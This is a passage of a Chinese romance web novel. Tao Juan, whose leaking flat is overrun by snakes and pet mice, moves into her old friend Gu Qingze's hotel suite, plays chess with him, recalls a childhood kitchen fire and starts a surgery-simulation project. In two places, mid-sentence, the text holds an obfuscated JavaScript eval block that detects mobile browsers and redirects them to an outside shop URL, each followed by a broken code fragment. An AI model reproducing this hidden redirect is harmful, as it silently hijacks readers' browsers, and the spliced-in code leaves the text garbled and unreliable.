田田自知理亏,“宝宝你别生气,我帮你订个酒店,你先住几天,我拍摄完了就回来把它们都弄走!” “你就别管我了!”陶涓呵呵冷笑,“祈祷小老鼠们不会咬破曹艺萱的那些昂贵的包吧。” 田田一听也犯愁了,曹艺萱的包有一些现在拿钱买不到了,她想了想,又献计:“要不,让保安在萱萱家多放点鼠粮?还有玩具?有吃的又有磨牙玩具,它们应该就不会咬其他东西了吧?” 陶涓把手机拿得远了点看了一眼,狠狠挂断通话。 “沈峤刚才回复我,说找到能抓蛇的人了,今天太晚,明天他们会来处理。”顾清泽很担心陶涓,“是不是快到你吃药的时间了?现在有哪里不舒服吗?” 她今天吓得不轻,房子漏雨也让她累得不轻。 陶涓摇摇头,“我十点才吃药。” 刚才蛇鼠一窝的情景太过刺激,她心率和肾上腺素水平一起狂飙,现在手脚软的像浸湿的棉花,脑子也转不动了,只想坐着发呆。 顾清泽给她拿了杯温开水,她喝了两口,脑子重新启动,摸出手机找附近的酒店,刚打开APP她又想起来,“你还没吃晚饭——” “你也别找了,跟我去王府酒店住吧!” 他提议之后微微低头,看着自己膝盖,“反正都是住酒店,去我现在住这间吧,至少床品睡衣能保证是新的。” 他说完后有点忐忑,心里已经准备了更多说服她的理由,没想到,她半阖着眼睛揉揉脖子,“好。” 陶涓在去酒店的路上睡着了。 醒来时已经到了酒店地下停车场,顾清泽叫醒她,门童已经把她的行李箱取下车向电梯推去。 顶楼套房的专用电梯门上镶嵌了镜子,陶涓看到自己憔悴苍白的脸,眼睛似乎都要睁不开了。 她不由暗暗叹气,最近似乎比以前“娇气”了很多,以前就算是重感冒了加班到深夜也能撑下去,今天也没干什么,就累得好像要散架了。 电梯轻轻“叮”了一声停下,她忽然有类似失重的感觉,心脏也不听话地向上猛跳,顾清泽回过头问:“你不舒服吗?” 陶涓迟疑一下,摇摇头,勉强笑道:“还好。有点累。” 她是见识过顾清泽的做派的,但还是对这间套房的庞大感到惊讶,除了比她整间屋子都大的厨房,这里还有一个供十几位客人进餐的正式餐厅。 她站在餐厅门口问顾清泽,“你每天在这儿吃饭?” 他笑:“我喜欢在厨房吃饭。” 厨房有个早餐台,还有张能坐六个人的圆形餐桌,顾清泽提前叫了厨师服务,四菜一汤已经准备好。 饭菜色香味俱全,可惜陶涓没什么胃口,草草吃完了饭,重新上线,先回放会议内容,正好李唯安还在线,又讨论了一会儿工作。 合上笔电后她靠在椅背上闭眼休息,差点睡着,她打个寒颤,站起来活动一下,先吃了药,打算溜达一圈后就回房洗漱休息。 长长的走廊上挂着许多画,她在每一幅画之前稍作停留,这些画应该是同一个艺术家画的,是些看不太懂只觉得好看的抽象油画,走廊右侧,客厅的门虚掩着,桔黄色的灯光从门缝透出,她推开门,看到顾清泽躺在沙发上,他穿了身非常宽松的衣服,闭着眼睛,两手放在叠放在腹部,听到她进来,他有点惊讶,一手搭在沙发背上支起身体,回过头,“你……忙完了?吃药了吗?” 他的头发垂在额前,蓬松松的,因此显得比白天稚气很多,恍惚间和他们十余年前第一次见面时有几分像。 “嗯,吃了。”陶涓没有再走近,她靠在客厅门框上,“我出来走一圈就去睡觉。太累了。” 说话时,她隐约闻到一股有些熟悉的香气,像是苦橙,带着点温润的水汽。 她心不在焉分辨,觉得那气味和她每天用的洗发水很像,可她明明还没洗澡…… 昏暗的光晕中,顾清泽一直半侧身看着她,他像是想要说什么又拿不定主意,她忽然醒悟过来,哦,那气味,是从他身上散发出来的…… 这想法让她突然有种说不清的感觉,像是身体里什么地方被羽毛轻飘飘搔了一下似的,有点痒,想要挠痒又不知往哪下手。 她伸出一只手扶住靠在身侧的门框,就像用手臂半拥着自己,也像在拦着自己。 她听到一种有节奏的“咔嗒”声,仔细听听,才发觉不是她的幻觉,客厅壁炉上摆了一座古董座钟,指针轻轻发出响声。 顾清泽忽然说:“晚安。” 他站起来,走向壁炉旁边一扇门,推开门前又回头对她说:“如果有事……就来找我。” 她“嗯”了一声,转身离开,回到自己房间门前才想到,她刚才去的并不是客厅,是他房间的起居室。壁炉旁那扇门通向他的卧室。 陶涓以为这天晚上她会做噩梦,梦到蛇,老鼠,或者白发苍苍的自己穷困潦倒,用脸盆接天花板漏下的雨水,但她睡得很好。 房间的窗帘是遮光的,她醒来时只有一点微微的光,仿佛晨曦初升,按下窗帘开关才知道天早亮了,又在下雨。 这样的天气最适合睡懒觉。 可惜,陶涓有一堆倒霉事要处理。 昨天只是把必需品装进行李箱,不知道家里现在漏得什么样,如果要修补屋顶,家里的东西是不是要全挪出来啊?真是令人头大。 还有田田搞出的破事。 然后,她还有工作要做。 成年人的生活,真的每天都是战斗。 陶涓洗漱后,在摊开的行李箱里找衣服换上,走出房间。 走廊的灯光在白天自动调亮了,她这才发现昨晚自己走错了方向,向左边走才是公共区,厨房飘出食物的香味,几个厨师正在忙碌。 顾清泽坐在早餐台边,面前放着笔电,好像是在回复邮件。 他抬抬手算是打个招呼,“今天我们吃广式早茶。” 陶涓好久没吃到味道这么好的烧麦和水晶虾饺,吃饱之后精神一振,觉得眼下的事都不是事,慢慢解决就好。 顾清泽建议她先把家当搬到这里,虽然请了宠物店的人来抓蛇,也会放捕鼠笼,可是人家也不能保证什么时候能抓住所有逃跑的动物。 尤其是花枝鼠。它们是家鼠的后代,更聪明更能适应环境。 “你也不想打开衣柜看到一只小老鼠卧在你衣服上面吧?”顾清泽问陶涓。 她想象了一下,一阵恶寒。 他又继续劝她,“套房除了能坐十几个人的餐厅,还有个能坐十几人的会议室,你有再多东西也够放了。” “酒店的人不会有什么意见吗?” 顾清泽轻笑一声,“绝对不会。他们还会派人帮我们搬进来。” 陶涓明白了,“哦,是魔法的力量。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17273405|196869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 在这种叫金钱的魔法运作下,到了这天中午,陶涓在书房开完线上会议,回到卧室一看,不仅衣柜已经放进了她的衣服,一些小家具、用物、床品也换成了她自己的。 她又解锁一个新成语:宾至如归。 曹艺萱家就进行得不是那么顺利,爬宠店的人只又抓到一条蛇,还有一条不知所踪。总之先将这条和昨晚保安抓到那几条寄回给卖家。 小老鼠只抓到五只。它们是胆怯的夜间动物,也许过了今晚能抓到更多。 不过,田田联系卖家后告诉陶涓,卖家也不清楚究竟送了多少只。 下午三点多曹艺萱才打给陶涓,她头套都还没卸,形容憔悴,有气无力,活脱脱一个被命运折磨的倾国佳人,得知她家现在可能有一条蛇,若干鼠鼠,她凄然一笑,“麻了。随便吧。” 她跟闺蜜抱怨,拍夜戏也就算了,拍到今天早上四点多,B组导演建议趁没下雨赶快拍外景,连轴转到现在,午饭也很糟糕。 陶涓听得心疼,也只能给她几个空气亲亲安慰,“好辛苦。不过你的扮相好美,很贴合你的角色人设。” 曹艺萱开心,对着手机臭美了一会儿,“田田这次欠我们一个大人情,她说了,等我回来,咱们仨去购物做spa,她埋单……” 她太累了,打个哈欠问“哎?田田给你定的哪家酒店?这装潢看着像半岛王府?这混蛋还算有点赔罪的诚心。” “确实是半岛王府,不过不是田田定的。” 陶涓解释之后,曹艺萱先是疑惑:“他在北市又不是没房子,为什么住酒店呢?” 这问题陶涓也问过。 顾家开着地产公司,在世界各大城市也有不少私产,但顾清泽一直更喜欢住酒店。他的解释是酒店更热闹也更方便。 “可恶的有钱人!”曹艺萱咬牙攥拳,“等我回来,能让我去参观参观吗?” “等你回来我都搬回家了,再特意求人家来参观?”陶涓可没打算在这儿长住,“金窝银窝不如自己的狗窝,估计再过两天就能把蛇和小老鼠都抓到了,到时我还是先搬到你那儿,等我房子修好了我就搬回去。” 曹艺萱想想,“也对,孤男寡女共处一室……啊,好吧,这个套房有多少间房间来着?反正呢,就是你和他一起住在酒店,多少是有点暧昧了。” 暧昧? 陶涓听到这个词,脑中浮现昨晚临睡前的画面,穿着宽松衣服的顾清泽斜倚在沙发上,刚洗过澡,领口半敞,暗香浮动。 她闭上眼睛摇摇头,把这个画面摇出脑海。 奇怪。 他们第一次见面后她也曾和他一起住在酒店,还住了挺久,从没有联想到“暧昧”,即使是在深夜他们共处一室,仿佛周围的空气都是清澈无菌的。 也许,那时候在她眼里顾清泽还是个小孩子,可现在,他长大了。 即使她还想像从前一样把他当哥们、当铁子相处,本能也会让她感到男女之别。 陶涓忽然有点惆怅。 傍晚时分又下起雨,中介联系她,说屋顶漏水的情况比原先想的还要糟糕,因此翻修时间会更长,可能要到六月才能住进去,再次向她致歉。 房东不扯皮不拖延还主动减免房租,这已经很走运了,陶涓当然不能反对。 顾清泽早上出门前跟她说想吃什么提前告诉客房管家,他们会准备食材让厨师来煮,不过,她可不想兴师动众。 朋友江湖救急收留她,她还叫厨师、点菜? 厨房里有很多食材,厨具也非常齐全,她蒸了一锅腊肠饭,烫了几棵菜心,又做了西红柿紫菜蛋花汤。 汤还没做好,顾清泽回来了,他站在厨房饶有兴致看她搅鸡蛋,“有我的吗?” 本来没做他的,不过陶涓说:“有的。” 她再打一颗鸡蛋,往锅里多加一碗水,汤就变成两个人的量了。 她打开冰箱看了看,找到一袋做沙拉用的冷冻虾仁倒在大碗里化冻,又拿出一盒新鲜豌豆荚。 豌豆豆荚绿莹莹脆生生,陶涓剥开一个,其中一粒豌豆从碗里跳出滚在料理台上,顾清泽伸手捉住它丢回碗里,“我也来剥。” 两人隔着岛台一起剥豆荚,腊肠饭快煮好了,香味越来越浓。 陶涓炒了一碗豌豆虾仁,顾清泽听她指挥又烫了几颗菜心,盛出汤和腊肠饭,这顿饭看起来就比较像样了。 她见顾清泽盯着饭菜看了好久,有点心虚,“要不要再做点米饭?” 他连忙摇头,“不用!我是觉得今天晚饭的颜色很好看。”他又补充,“闻起来也很香。” 吃了一口又说,“也很好吃。” 29.久违的棋局 吃完饭,顾清泽主动收拾碗筷,他刚要放进水槽里洗,陶涓提醒:“有洗碗机!” “哦。”他皱皱眉,摸摸袖口,不情不愿地将餐具放进洗碗机里。 收拾好厨房,陶涓忽然觉得太过安静,她有点不自在,问顾清泽,“你看电视吗?” “不看。你呢?” 她也摇头,“我最近这几年,只看过一些曹艺萱演的网剧。” 他认真问:“哦?好看吗?” “嗯……因人而异吧。剧情有逻辑硬伤,不过编剧会狂撒狗血,每一集都有打脸和反转。喜欢看的人会很喜欢。” “听起来很热闹。” 然后,两个人又安静下来。 这样的安静并不是出于尴尬,或者无话可说,但让陶涓有种轻微的焦灼感。 她不明白为什么会这样。 顾清泽似乎和她有同样的感觉。 他移开目光,“这里有个娱乐室,可以打乒乓球……哦对了,还有象棋。” 他想起他们上一次下棋的情形,不禁微笑,“你现在下棋吗?” “很久没下了。”她仔细想了想,上一次下棋还是和顾清泽。 她问他,“最近有开泳池party吗?” 顾清泽的耳朵一下红了,摇头轻笑,“很久没有开了。”他想避开这个话题,马上站起来,“走,我们去下棋。” 摆好棋子,陶涓转动棋盘,“上一次是我执白,这次换你。” 顾清泽欣然执子开局,用的是很古老的后翼弃兵。 陶涓愣一下,“上次我是不是也用后翼弃兵开局?” “嗯。” “这种开局早就被大师们参透了,最近的比赛中很少有人用。” “我知道。可上一次你还是赢了。” “那你还敢这样开局?” “我还是想试试。”他执拗地说。 陶涓嘴角一翘,“那就试试。” 最后一次和顾清泽下棋是他入学那一年的期末。 元旦刚过不久,就要期末考试,这少爷连着两天没来上专业课,陶涓还以为他又生病了,一打听,人不在宿舍,也没搬回家,去学校附近一个酒店住了。 她去酒店找他,本以为至少会和波士顿那时一样,请的客人都是漂亮女孩,没想到电梯门一打开差点被浓重的烟酒味熏倒。 明明是正午时分,可客厅黑得像地下舞厅,只有角落一座高脚灯亮着,暖气开到最大,得有三十度了,一屋子人随着迷幻音乐群魔乱舞,一时间分不清男女,就看见几个光膀子。 陶涓忍着扑鼻的烟酒汗臭问了几个人,没一个知道顾清泽在哪里,甚至没人知道他是谁,也没一个人是清醒的。 她推开人群往里走,一边走一边大喊他名字,不小心踢到一个酒瓶,红酒溅在她鞋上,接着又差点被地上扔的一件外套绊倒,一个半裸上身的长发男孩突然抓住她胳膊,嘻嘻哈哈举着一瓶酒塞到她脸前。 她夺走酒瓶一个撩阴腿踢得这人躬成虾米捂裆痛叫,周围的人吹着口哨哄笑怪叫,但没人再敢拉扯她。 她走到窗边,先找到窗帘的遥控器,接着走去音箱旁,噼里啪啦拔掉所有电源,再用遥控打开客厅全部窗帘,这群人在音乐突然消失时僵尸似的一起僵住不动,突然被强光照射后又像吸血鬼一样捂着脸尖叫。 这时有人觉得不对劲提起沙发上的外套先溜了,有人破口大骂,还有人想冲过去打她,陶涓咔嚓一下把酒瓶磕在音箱,举起锋利的瓶口看过去:“所有人——现在就离开!我已经报警了!想去派出所玩就待着别动。” 这群乌合之众顿时成了炸窝的马蜂,乱哄哄乱撞了一会儿跑得一个不剩,留下一客厅的臭味和垃圾。 顾清泽从哪儿请来这帮人啊! 她沿着走廊一间一间推开房门,大喊他的名字,怒气越来越盛,终于在走廊尽头的房间找到他。 他戴着耳机,正专注地和自己对弈。 陶涓一把掀掉他头上的耳机,“你疯了?招来的什么妖魔鬼怪?” 顾清泽吓了一跳,但他一点没生气,还无辜地笑,“我就是想热闹点。” “这些奇葩都是你从哪儿弄来的?” “我也不知道。我只在几个高校论坛发帖说这里有party,还有免费的酒和食物,他们就自己来了!” 他还在笑,看到她脸色很臭终于不笑了,“你生气了?” 陶涓当然生气,可她不承认,“我干嘛要生气?顾清泽,你疯了?哪有好好的人把大门敞开洒一地食物招蟑螂老鼠来陪他的?” 她拽他起来,拉他去狼藉一片的客厅,“这就是你要的热闹?” 她松开他,难掩失望,粗喘了几口气还觉得心口怦怦乱跳。 他怯生生说,“对不起……” “你对不起的是你自己!”说出这句话时陶涓确定她被高中教导主任附身了,但那份痛心和惋惜真真切切,“你一定知道自己拥有什么样的天赋和才能,可你就这么浪费……这么糟蹋自己?” 失望痛心之后,她冷静下来,呼口气,碎酒瓶随手一扔转身向外走,顾清泽在原地呆了呆追上来抓住她手腕,“你——你别走!” “我待在这儿干嘛?”她自嘲地笑,“我算哪根葱?我是你什么人?我哪来资格管你啊?” 他像是真的知道错了,眼圈红红的望着她,小声说,“你是我的……我的冠军。你忘了?We are the champions.我们是冠军。你说的。” 大约是看出来她已经在犹豫,他又可怜巴巴加一句,“你别不管我。” 对啊,他们是一起夺冠的冠军队友。 陶涓顿时心软,她叹口气,“你住不惯宿舍,住家里也好,你家有管家有保姆有保镖,还不够热闹吗?非要跑到酒店招一帮子你不认识的人来。你觉得他们也是北市高校的学生就很安全?高校论坛只有学生才能上吗?你有没有想过万一有什么坏人混进来了,还几个人一起来的,他们万一要对你做点什么——这安全吗?你不后怕吗?” 他欲言又止,她还以为他要服软呢,谁知他却来了句,“家里的人未必比陌生人更安全。” 还狡辩! 陶涓气得又要走,他赶紧拉住她,语气里尽是恳求和撒娇,“你别走——你要走,也先陪我下一局棋再走。” 她无奈,“期末了,大家都在准备考试,我不忙吗?” 但她还是答应和他下棋。 她得劝他回学校去。别她赶走了这一群人,他回头又招来一群。 棋局开始前她说:“赌点什么吧,要是你输了,就乖乖搬回宿舍,放寒假前别再作妖了。” 他欣然答应,“行,要是你输了,你也答应我一个要求。” “行。什么要求?” 他沉思,“我现在没想好,等我赢了再说。” 因为有彩头,这局棋两人都下得很谨慎,棋局开始前猜子争先,陶涓最擅长这个,成功执白开局。她当时用的,就是后翼弃兵。 她敢用这种古老的开局,当然是对它研究得很透。 这局棋她赢得没有悬念。 他放下自己的王后认输,然后问她:“你饿不饿?” 当时才下午四五点,陶涓其实不饿。 但她看看窗外,一月的北市还在冬季,这时天空已经灰蒙蒙的了,天晓得这孩子上一顿饭什么时候吃的,就顺着他的意思说,“有一点,你呢?” 顾清泽叫客房服务做了两碗龙须面。 面送上来,整间套房已经被重新整理好,客厅的窗帘、灯罩、地毯和挂画全都换了,室内一丝异味也没有,玻璃茶几上摆着银色金属大碗,里面堆了十几个娇黄玲珑的佛手,餐桌上花瓶里插着香水百合和苍兰。 他当晚搬回宿舍。 陶涓隔天上午去食堂时才想起来,昨天是他生日。 陪他办学生证的时候她看见过。她竟然把这事忘了。 她三两口扒完饭,骑车飞驰到二食堂,厚脸皮把一个男生挤走买下了最后一块奶油小方。 下午上专业课时见到他,她递给他装蛋糕的纸盒,“昨天忘了跟你说生日快乐。” 他一听就笑了,再捧起纸盒闻一下,双眼弯成月牙,立刻打开盒子。 陶涓急了,“下课再吃!” 他偏不,乐呵呵打开纸盒,用小木勺一口一口挖着吃,老师进来后连看他几眼,终究忍住没说他。 想到这里,陶涓把目光从棋盘移到顾清泽脸上,他抬起眼,“嗯?” “你今年生日怎么过的?” 他没想到她突然问这个,“啊,没什么特别安排。就在酒店吃了碗寿面。” 说完,他立刻又补充,“我很久没开party了。我刚才说了。” 她笑了,低头走了一步棋,“几年前我看到过狗仔拍的照片,你和章公子在摩纳哥狂欢。” 顾清泽捏着棋子急急辩解,“那可不是我的party!他失恋了,我当时刚好在法国,他妈妈托我去看看他。” 陶涓低着头,摆摆手,“哦。” 隔了一会儿,她有点遗憾说,“你要是一回北市就大大方方找我,没准今年还能帮你庆祝呢。” 他想起之前自己的犹豫纠结,心里各种滋味一起翻涌,这步棋就走得有些疏忽,“还能早点一起下棋。” 陶涓无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282629|196869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声地笑,“是啊。” 顾清泽刚才那一步棋失误。局势直转而下,陶涓乘胜追击。 他思索一番,举棋不定,忽然想起来,“这局棋我们下赌注了么?” “你想赌点什么?” 他想一想,“和上次一样。” 她笑,“你现在可没法搬回学校宿舍。” “如果我输了,你也让我做一件事。” “行。” 她答应得无所谓,但顾清泽却异常认真,棋盘上的缠斗突然变得激烈。 陶涓从前记下的棋局全部从封存的记忆中爆发,她不断推演计算,心无旁骛。 房间里静得只能听到对方轻轻的呼吸声。 她能感到这个时候的顾清泽也是一样,他竭尽全力想要打败她,他专注,审慎,精密地计算着每一步,和她一样快速在脑中进行推演。 最终,他险胜。 没想到他那么开心,她笑着放下王后认输,“你想让我做什么?” 他却愣住,和她对视一下,他低头将棋子一一归位,“等想到了再说。” 陶涓差点脱口说“可别是让我给你画眉——”,话到嘴边被她咬住嘴唇憋回肚里,幸好幸好,不然可就太尴尬了。 虽然顾清泽大概率不知道赵敏和张无忌是谁,但就怕万一。 她庆幸后又想,为什么她会有赌约画眉这种联想? 顾清泽重新摆好棋盘,窗外突然金光闪动,接着轰隆隆响起雷声。又下雨了。 密集的雨点敲打在玻璃窗上,陶涓忽然念道:“间关莺语花底滑,幽咽泉流冰下难”。 顾清泽一听就笑了,“都超过24小时了,你才想起来。” “唉,你高估我了,一直没想起来!今天中午上网查的。”陶涓感慨,“记忆力衰退,身体也不如以前。” “你记忆力哪里衰退了?刚才棋下得很好啊!” 陶涓顿时又开心起来,“对啊!棋逢对手,遇强则强。” 两人一起笑了会儿,顾清泽问:“你很喜欢下棋,为什么不常下呢?” 她没有棋盘,也从不跟人下棋,亲近如周测,都不知道她会下棋。 可她明明很喜欢下棋。 从前他也问过,她只是笑笑岔开话题。 想到这里,顾清泽有点后悔又一次提起这件事。 “其实也不是什么大事……”陶涓看窗户上的雨幕,“我跟你说过我爸爸在我很小的时候就去世了吧?” “嗯。” “我爸去世之后,我妈一直表现得很坚强,照样每天上下班,照顾我。小学三年级暑假,有一天我妈早上上班前煮了一锅玉米,原本她出门前就能煮好了,可是玉米还有点生,她让我记得再过十分钟关火。我在网上跟人下棋,下得入迷了,完全忘了这件事——” 她现在仍旧有点困惑,跟他讨论,“你有过类似的情况吗?极度专注的时候,周围的一切仿佛和你有屏障——我是说,物理隔绝的屏障——你看不到,听不到,也闻不到,你的全部感官都用来做你专注的这一件事……” 顾清泽立刻明白她在说什么,“当然有啊!啊——”他低叫一声,“糟糕!” 陶涓点点头,“真的很糟糕。” 然后她笑了,太好了,他懂。他也会这样。这让她觉得她不是异类。 煮玉米的锅干锅了,发出浓烟,可她完全闻不到,玉米一个个烤成了焦炭,她还是没有闻到。 惊慌的邻居们来敲门,她也没听到。 她的全部感知都集中在棋局上。 最后,她家几个邻居撞开门冲进来,把她抱出差点起火的房子。 “我妈跑回来,上楼梯的时候摔了一跤,膝盖破了,流了好多血,可她好像不知道疼,抱着我哭了好久……” 现在想到妈妈抱着她哭那一幕,陶涓仍然会觉得羞愧,她记得妈妈的眼泪一滴滴落在她胳膊上脸上,说“你要是再出什么事我也不想活了”…… 第二天,她偷偷把棋盘棋谱通通扔掉。 从那天起再也没下过棋。 直到很多年后,异国他乡,她急着要让一个男孩陪她参加比赛,才再次拿起棋子。 顾清泽静静听完,想象到小小的陶涓扔掉棋盘的情形就眼眶发烫,他很想抱抱她,花了很大定力才控制住自己没这么做,这股被控制住的冲动在他胸口化成一团火,他需要小心地呼吸才不让它喷发出来,他望着她,隔了好一会儿说:“以后常下棋吧!喜欢你的人——你妈妈,也会希望你继续下棋的。” 陶涓心头一阵悸动。 她想对他笑笑,想说“没关系,已经过去了”,可是她说不出话,只能轻轻颔首。 30.新项目 北市的天空在一周后终于放晴。 春光明媚,柳绿花红。 站在窗前能看到不远处的护城河畔如烟翠柳,红墙内外到处是一树一树粉色的桃花杏花,像一朵朵蓬松的棉花糖。 半岛酒店窗外的景色确实很美,但陶涓有点遗憾,今年又没能看到自己的狗窝窗外的梧桐在这个季节是什么样子。 几天后搬到曹艺萱家,不知道她家窗外是什么样的景致。 宠物店的人终于成功捕获最后一条玉米蛇,至于小老鼠,前前后后一共抓到九只。 抓到蛇的时候它肚子鼓鼓的,很难判断几只葬身蛇腹,也暂时无法确定还有没有幸存的小老鼠藏匿在公寓某处。 顾清泽听陶涓说她还是要搬到曹艺萱家,先是惊讶,然后生气,他比划,“小老鼠!尾巴!秃秃的!你不怕吗?” 她当然是有点怕的。 但还是要搬走。 不然一个成年人寄人篱下算怎么回事呢? 顾清泽一听,更气了,“哦,住在她家就不算寄人篱下?” 她一怔,思忖着要怎么回答,他阴阳怪气道:“等你打开鞋柜看到一对小老鼠在鞋盒里养了一群红皮小老鼠宝宝你就乐吧!” 陶涓气得朝他肩臂拍了一掌。 他臭着一张脸离开。 一整个白天,陶涓时不时想到红皮小老鼠,气得她一边搓胳膊上的鸡皮疙瘩一边骂顾清泽混蛋。 另一个混蛋田田前几天上门赔罪,几乎要跪地求饶。 鉴于她还带来了开新业务的机会,陶涓决定原谅这个混蛋。 田田的好友嘉嘉要做第二次鼻综合手术,医生定了,面诊做了,手术之前又犹豫不决。 嘉嘉和田田、曹艺萱是校友,不过高两届,她已经小有名气,可演技和机遇都不算最好,还是需要靠脸吃饭,两年前做了鼻综合手术,想要提高面部的立体度,手术倒是很成功,新鼻子单看也很漂亮,但就是和脸上其他五官不太协调,不但没提高颜值竞争力,还失去了原来的甜美感。 这也是她这次犹豫的最大原因。 田田听曹艺萱说过,陶涓给医院做过一套模拟应用,可以模拟唇腭裂病人和脸部有复杂创伤的病人手术恢复后的容貌。 嘉嘉选的医院有类似的模拟应用,上次的手术也是在这里做的,单看模拟效果很完美,手术也很成功,但最终效果却不尽人意。 现在她想再做手术改善,预期当然更高,也更怕失败。所以一听田田说陶涓曾经为医院做过模拟应用,就想问问能不能再让她为自己也做一个模拟,多一个参考,也算多一重保障。 陶涓深知鼻综合手术的复杂性和难度,和安真医院合作时,申悦明和几位整形科的医生详细讲解过人体面部手术的复杂程度,尤其是鼻整形,这里集中了许多神经和细小的肌肉群,医生操作时差一微米很可能最终的效果就和预期相差甚远。 她尽量用简答易懂的方法向田田解释,“这种模拟应用不是我们拍照修图,得要数据库支持,除了基本的人体解剖信息——每个地方有什么血管、神经、肌肉的走向是什么样的,还收集了许多病人的病例数据,在这些信息的支持下才能计算,进行模拟,模拟出的效果才能更接近最终术后效果……” 见她们还是没太明白,陶涓想了想,“嗯……这样理解吧,AI算法会自己学习,我们喂给它越多详细的案例和数据,它就越聪明——精确度和模拟能力越高。” 也就是说,只有整容医院愿意提供数据库和各种信息,才有可能为嘉嘉完成模拟。 田田立刻说没问题,“嘉嘉妈妈就是那家医院最大股东。” 难怪第二次手术还要在这家医院做。 为防以后出纠纷,陶涓建议,要医院跟她签个合作协议,请她做顾问,对现有的手术模拟应用进行第三方测试——嘉嘉的案例,就是这次测试的内容,陶涓的工作室可以修改、维护原有应有,但应用的一切使用权仍归医院。 嘉嘉很急,手术做完需要至少一个月恢复期,她下一部戏在两个月后就要开拍,所以医院方派来代表后,很快就商定好协议的细节,李英策律师看过后让陶涓签了字。 陶涓当天就在医院参观,了解那套模拟应用。她带回来大批资料,一边整理资料,一边修改模型,有些部分要重新搭建。 这是个大工程,还有许多繁琐细碎的步骤,她联系孟霄,问他有没有空接点零活儿。 孟霄倒是一口答应,他很好奇怎么几个月前陶涓还在求他介绍活儿,现在又变成给他介绍活儿了。 陶涓想起上一次的事,孟霄对当年在方舟实习后没能转正耿耿于怀,不知道他听到她现在自己开工作室单干会不会又受刺激,只含糊说,“朋友的朋友介绍的,时间有点紧,我怕自己干不完,人家要得又急,就来求你帮忙了。” 他没再追问,跟陶涓谈好报酬,收了定金按时按量交活儿。 即使有孟霄帮忙,这个工程还是不小,幸好原先的模型虽然不好用,但许多基础构架不需要大修改,如果能参考她当年在方舟做的模型会缩短许多时间,但资料全在方舟,还要牵扯到几家医院数据库的使用权,陶涓对几方在短短几周内达成合作不抱希望,只有硬着头皮咬着牙,自己先啃下来,也许做出了点成果之后,后续能和医院互惠合作。 新项目让她很兴奋,她手头上还有一点电影宣传的收尾工作,正有点发愁,这个项目来得真及时。 顾清泽担心她长时间伏案工作脖子僵硬,悄悄在酒店健身房给她报了瑜伽课,然后才告诉每天按时去上课,“顶楼套房给的羊毛,不薅白不薅!” 薅羊毛这种事她怎么能错过。 去了之后她才知道,之前错过了不少羊毛,套房贵宾还可以免费使用温水泳池。 她立刻上楼找泳衣。泳衣还是三年前买的,就跟曹艺萱去巴厘岛玩穿了一次。 游泳是很能放松身心的运动,陶涓游了两圈上来,又看到更多羊毛——泳池边放了许多高级矿泉水!她拿起一瓶喝了两口,忽然听到有人叫她。 一回头,竟然是周测的同事张琳。 “真是你呀!我还以为认错人了!”张琳游到泳池边,“复诊情况还好吗?唉,那天周师兄下了手术,看见我就恼火了……” 陶涓再一次尴尬,怎么?要她替周测道歉吗? 她笑着说:“他自己是医生难道还不明白抢救病人高于一切吗?” 张琳也笑了,“就是嘛!”她是跟朋友一起来的,她们办了酒店泳池的年卡,又问陶涓要不要跟她们一起再玩一会儿。 “我也跟朋友一起来的,她在做spa,我得去找她了。”陶涓扯谎溜了。 坐电梯上楼时,陶涓忽然想起很多年前,她在图书馆,急需什么东西,让周测给她来,结果没等来周测,来的是申悦明。 那时她的感受比刚才遇到张琳时还要尴尬。 周测不知道申悦明喜欢他吗?他不知道指使喜欢自己的女孩给女朋友送东西会让这两个女孩子都不开心吗? 他可能不是情商低,只是不那么在乎他人的感受。 游完泳有些累,陶涓不想做晚饭,到附近商场随便吃了顿饭,还没吃完就后悔了,预制菜,嘴巴里都是化学调料的味儿,回到酒店口渴得要命。 她一进门厅就闻到一股浓郁的米香味,顺着香味走到厨房,眼珠差点惊掉地上——顾清泽站在厨台前煮粥呢! 她拎着外套走过去,他一板一眼用木勺缓缓搅动锅里的粥。动作规律,力道均匀,仿佛设定程序的机器人。 “是什么粥?” “你管它是什么,想不想吃?”他板着他的傲娇脸,语气里还有点火气。 陶涓笑了一声,“我做个配粥的凉菜。” 直到吃上顾清泽做的虾球肉圆粥了,陶涓还是不太敢相信,“你怎么想起来要做粥呢?你什么时候学的?跟谁学的?看视频学的吗?” 他冷脸回答,“想吃就做了。跟酒店里的厨师学的。” 嚯,还在生气呢。 陶涓不再理会他,只管闷声一口一口吃粥。 没过多久,顾清泽就忍不住了:“好吃吗?” 她对他比个拇指,毫不吝啬地表扬,“非常不错!很好吃。” 正宗的虾球肉圆粥并不容易做,猪肉绞碎和切成粒的虾肉手打成肉丸过水汆烫,生姜切成细丝和米一起煮沸,米粒膨胀后放进肉丸再煮一阵,看起来不难,可是手法火候还有调味都很讲究。 顾清泽笑了。 她说好吃。 陶涓看到他那个笑容就知道他不再生气了。 饭后他们聊起陶涓新接的这个项目,他劝她多招几个帮手,“这么算下来,也就是说两三周后就要可以使用,实在有点太赶了。” 陶涓还是乐观的,“从这周开始太平的项目我每周只有二十个工时,主要是开会和复盘,整理数据,写写报告,压力不大,医院那边呢,类似的项目我做过一遍,当时鼻整形修复只是其中一项,现在只做鼻整形,应该问题也不大。不过,我也会让孟霄留意,看看能不能再找几个临时工。” 顾清泽说:“要是能连接到那些公立医院的数据库就好了!” 